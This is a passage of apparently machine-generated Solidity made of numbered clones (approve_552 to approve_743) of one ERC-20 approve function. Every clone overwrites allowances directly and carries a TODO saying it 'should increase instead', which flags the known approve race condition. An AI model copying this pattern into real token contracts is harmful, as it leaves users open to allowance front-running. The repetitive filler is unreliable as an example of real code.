function approve_552(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_553(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_554(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_555(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_556(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_557(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_558(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_559(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_560(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_561(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_562(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_563(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_564(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_565(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_566(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_567(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_568(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_569(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_570(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_571(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_572(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_573(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_574(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_575(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_576(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_577(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_578(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_579(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_580(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_581(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_582(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_583(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_584(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_585(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_586(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_587(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_588(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_589(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_590(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_591(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_592(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_593(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_594(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_595(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_596(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_597(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_598(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_599(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_600(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_601(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_602(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_603(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_604(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_605(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_606(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_607(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_608(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_609(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_610(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_611(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_612(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_613(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_614(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_615(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_616(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_617(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_618(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_619(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_620(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_621(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_622(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_623(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_624(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_625(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_626(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_627(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_628(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_629(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_630(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_631(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_632(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_633(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_634(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_635(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_636(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_637(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_638(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_639(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_640(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_641(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_642(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_643(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_644(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_645(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_646(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_647(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_648(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_649(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_650(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_651(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_652(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_653(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_654(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_655(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_656(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_657(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_658(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_659(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_660(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_661(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_662(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_663(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_664(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_665(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_666(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_667(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_668(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_669(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_670(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_671(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_672(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_673(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_674(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_675(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_676(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_677(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_678(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_679(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_680(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_681(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_682(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_683(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_684(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_685(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_686(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_687(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_688(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_689(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_690(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_691(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_692(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_693(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_694(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_695(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_696(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_697(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_698(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_699(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_700(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_701(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_702(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_703(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_704(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_705(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_706(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_707(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_708(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_709(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_710(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_711(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_712(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_713(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_714(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_715(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_716(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_717(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_718(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_719(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_720(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_721(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_722(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_723(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_724(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_725(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_726(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_727(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_728(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_729(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_730(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_731(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_732(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_733(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_734(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_735(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_736(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_737(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_738(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_739(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_740(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_741(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_742(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_743(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
